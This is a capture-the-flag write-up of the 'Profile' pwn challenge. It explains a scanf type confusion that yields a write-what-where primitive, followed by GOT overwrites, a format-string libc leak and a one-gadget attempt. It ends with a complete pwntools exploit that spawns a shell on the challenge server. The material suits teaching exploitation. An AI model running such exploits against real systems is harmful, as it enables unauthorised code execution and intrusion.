Skip to main content
  1. Posts/

BH-MEA Profile GOT overwrite

This is a writeup of an easy/medium pwn challenge called “Profile” featuring a type confusion, some GOT overwriting, and a funny but unnecessary one gadget exploit for the fun of it.

We are given the following files:

  • main.c
  • profile (binary)
  • Dockerfile
  • docker-compose.yml

Let’s look at main.c and see if we can spot a vulnerability from the provided source code.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

struct person_t {
  int id;
  int age;
  char *name;
};

void get_value(const char *msg, void *pval) {
  printf("%s", msg);
  if (scanf("%ld%*c", (long*)pval) != 1)
    exit(1);
}

void get_string(const char *msg, char **pbuf) {
  size_t n;
  printf("%s", msg);
  getline(pbuf, &n, stdin);
  (*pbuf)[strcspn(*pbuf, "\n")] = '\0';
}

int main() {
  struct person_t employee = { 0 };

  employee.id = rand() % 10000;
  get_value("Age: ", &employee.age);
  if (employee.age < 0) {
    puts("[-] Invalid age");
    exit(1);
  }
  get_string("Name: ", &employee.name);
  printf("----------------\n"
         "ID: %04d\n"
         "Name: %s\n"
         "Age: %d\n"
         "----------------\n",
         employee.id, employee.name, employee.age);

  free(employee.name);
  exit(0);
}

__attribute__((constructor))
void setup(void) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  srand(time(NULL));
}

There is not much code and most of it looks okay, except the get_value function. First of all, it is bad practice to pass void* around. In this case the function is called with a int*, specifically a pointer into the emlopyee struct. However, the int* is treated as a long*, by both the format string given to scanf and the cast. While int age is only 32 bit, the write of attacker controlled data is 64 bits, overflowing into the char* name, and overwriting the lower half. Next, get_string reads a string from char* name that got partially overwritten. This gives us a write write-what-where primitive in any four byte or less address.

def overflow_name_ptr(value: int, skip_write: bool = False):
    assert value < 2**31
    age = value << 32 | (1 << 31 if skip_write else 1)
    p.sendlineafter(b'Age: ', str(age).encode())


def write_at_name_ptr(value: bytes):
    assert b'\n' not in value
    p.sendlineafter(b'Name: ', value)


def write_what_where(what: bytes, where: int):
    overflow_name_ptr(where)
    write_at_name_ptr(what)

The first problem we are facing, is that we only get to write once before the program exits. At the same time we want to avoid free getting linked, because this would set the upper nibble in the GOT and subsequently try to free memory that is not on the heap, crashing the program.

The binary is compiled with NO PIE and partial RELRO.

RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

This makes addresses of the GOT constant, writable, and fit into four bytes. Specifically this is what the GOT looks like before get_string is called.

[0x404018] free@GLIBC_2.2.5 -> 0x401030 ◂— endbr64 
[0x404020] puts@GLIBC_2.2.5 -> 0x401040 ◂— endbr64 
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64 
[0x404030] printf@GLIBC_2.2.5 -> 0x7fc2b7460770 (printf) ◂— endbr64 
[0x404038] strcspn@GLIBC_2.2.5 -> 0x401070 ◂— endbr64 
[0x404040] srand@GLIBC_2.2.5 -> 0x7fc2b74460a0 (srandom) ◂— endbr64 
[0x404048] time@GLIBC_2.2.5 -> 0x7fff737e5e10 (time) ◂— lea rax, [rip - 0x1d97]
[0x404050] setvbuf@GLIBC_2.2.5 -> 0x7fc2b7481670 (setvbuf) ◂— endbr64 
[0x404058] __isoc99_scanf@GLIBC_2.7 -> 0x7fc2b7462110 (__isoc99_scanf) ◂— endbr64 
[0x404060] getline@GLIBC_2.2.5 -> 0x4010c0 ◂— endbr64 
[0x404068] exit@GLIBC_2.2.5 -> 0x4010d0 ◂— endbr64 
[0x404070] rand@GLIBC_2.2.5 -> 0x7fc2b7446760 (rand) ◂— endbr64 

We can therefore overwrite the GOT entry of free with the address of main. (For helper helper function definitions see full exploit below)

def loop_program_on(got_addr: int):
    write_what_where(pack(exe.symbols.main), got_addr)


loop_program_on(exe.got.free)

Now the program loops but we don’t have an easily overwritable libc function in the loop body. Therefore, we also overwrite exit with the address of main.

loop_program_on(exe.got.free)
loop_program_on(exe.got.exit)

Now we have free again to overwrite and can go for a libc leak, which is what we necessarily need for getting a shell on the remote. The libc leak works like this: printf is already linked from the usage in get_value. Therefore, we can point the GOT entry of free to the PLT entry of printf. This gives us a printf call where we control the first argument. We store the format string in the name field of the employee struct (not using it for an overwrite for once). The format string itself just outputs the pointer at the offset of the return address to __libc_start_main.

def leak_libc_base() -> int:
    pwn.log.info('free -> printf')
    write_what_where(pack(exe.plt.printf), exe.got.free)
    pwn.log.info('leak')
    p.sendlineafter(b'Age: ', b'1')
    start_main_offset = 6 + 0x2b
    p.sendlineafter(b'Name: ', f'%{start_main_offset}$p'.encode())
    p.recvuntil(b'0x')
    libc_start_main = int(p.recvuntil(b'Age: ', drop=True), 16)
    libc_base = libc_start_main - (libc.symbols.__libc_start_main + 128)
    # give next call a clean state without a consumed 'Age: '
    p.sendline(b'1')
    p.sendlineafter(b'Name: ', b'asdf')
    return libc_base


pwn.log.info('leaking libc base')
libc_base = leak_libc_base()
libc.address = libc_base
pwn.log.info('libc base: %s', hex(libc_base))

There probably exists some cursed way to solve the whole challenge just with the printf in the loop, but we only control one argument directly, so let us not go there.

By now we almost run out of libc functions to easily overwrite. The only thing that is left is puts, which we can trigger via the skip_write option, i.e., having an age below 0. When stepping through setup in the debugger we notice that the condition for a one gadget are fulfilled before the call to srand. Therefore we overwrite srand in GOT with a one gadget address in libc.

pwn.log.info('puts -> setup')
write_what_where(pack(exe.symbols.setup + 8), exe.got.puts)

pwn.log.info('srand -> 0x0ebcf8 evecve("/bin/sh", X, X)')
write_what_where(pack(libc.symbols.execvpe + 1144), exe.got.srand)
pwn.log.info('trigger setup')
p.sendlineafter(b'Age: ', str(2**32 - 1).encode())
p.sendline(b'ls')
p.interactive()

This exploit works fine against the docker they provided, but not the remote, even after standard tricks of adding an extra ret for stack alignment and stuff like that. This is really frustrating especially in combination with admins ignoring all the messages in their Discord.

But we managed to still get the flag by alternatively overwriting free with system, as system doesn’t crash if it get’s invalid inputs. For this case the remote behaved the same as the docker setup.

write_what_where(pack(libc.symbols.system), exe.got.free)
p.sendlineafter(b'Age: ', b'1')
p.sendlineafter(b'Name: ', '/bin/sh'.encode())

The final exploit is:

#!/usr/bin/env python3
import pwn
import math

# patched to use provided libc
exe = pwn.ELF(pwn.args.EXE or './profile_patched')
pwn.context.binary = exe
libc = pwn.ELF('./libc.so.6')

host = pwn.args.HOST or '54.78.163.105'
port = int(pwn.args.PORT or 31074)
# to test against the local docker container
# host = pwn.args.HOST or '127.0.0.1'
# port = int(pwn.args.PORT or 5000)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript,
                             env=dict())
    return pwn.process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    return pwn.connect(host, port)


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if pwn.args.REMOTE:
        return start_remote(argv, *a, **kw)
    else:
        return start_local(argv, *a, **kw)


gdbscript = '''
b main
b setup
'''.format(**locals())


def overflow_name_ptr(value: int, skip_write: bool = False):
    assert value < 2**31
    age = value << 32 | (1 << 31 if skip_write else 1)
    p.sendlineafter(b'Age: ', str(age).encode())


def write_at_name_ptr(value: bytes):
    assert b'\n' not in value
    p.sendlineafter(b'Name: ', value)


def write_what_where(what: bytes, where: int):
    overflow_name_ptr(where)
    write_at_name_ptr(what)


def pack(value: int):
    return int.to_bytes(value,
                        math.ceil(value.bit_length() / 8),
                        'little',
                        signed=False)


def loop_program_on(got_addr: int):
    write_what_where(pack(exe.symbols.main), got_addr)


def leak_libc_base() -> int:
    pwn.log.info('free -> printf')
    write_what_where(pack(exe.plt.printf), exe.got.free)
    pwn.log.info('leak')
    p.sendlineafter(b'Age: ', b'1')
    start_main_offset = 6 + 0x2b
    p.sendlineafter(b'Name: ', f'%{start_main_offset}$p'.encode())
    p.recvuntil(b'0x')
    libc_start_main = int(p.recvuntil(b'Age: ', drop=True), 16)
    libc_base = libc_start_main - (libc.symbols.__libc_start_main + 128)
    # give next call a clean state without a consumed 'Age: '
    p.sendline(b'1')
    p.sendlineafter(b'Name: ', b'asdf')
    return libc_base


def solve1() -> None:
    pwn.log.info('puts -> setup')
    write_what_where(pack(exe.symbols.setup + 8), exe.got.puts)
    pwn.log.info('srand -> 0x0ebcf8 evecve("/bin/sh", X, X)')
    write_what_where(pack(libc.symbols.execvpe + 1144), exe.got.srand)
    pwn.log.info('trigger setup')
    p.sendlineafter(b'Age: ', str(2**32 - 1).encode())
    p.sendline(b'ls')


def solve2() -> None:
    pwn.log.info('free -> system')
    write_what_where(pack(libc.symbols.system), exe.got.free)
    pwn.log.info('starting sh via system')
    p.sendlineafter(b'Age: ', b'1')
    p.sendlineafter(b'Name: ', '/bin/sh'.encode())


p = start()

pwn.log.info('looping program on free')
loop_program_on(exe.got.free)
pwn.log.info('looping program on exit')
loop_program_on(exe.got.exit)
pwn.log.info('leaking libc base')
libc_base = leak_libc_base()
libc.address = libc_base
pwn.log.info('libc base: %s', hex(libc_base))

# solve1()
solve2()

p.interactive()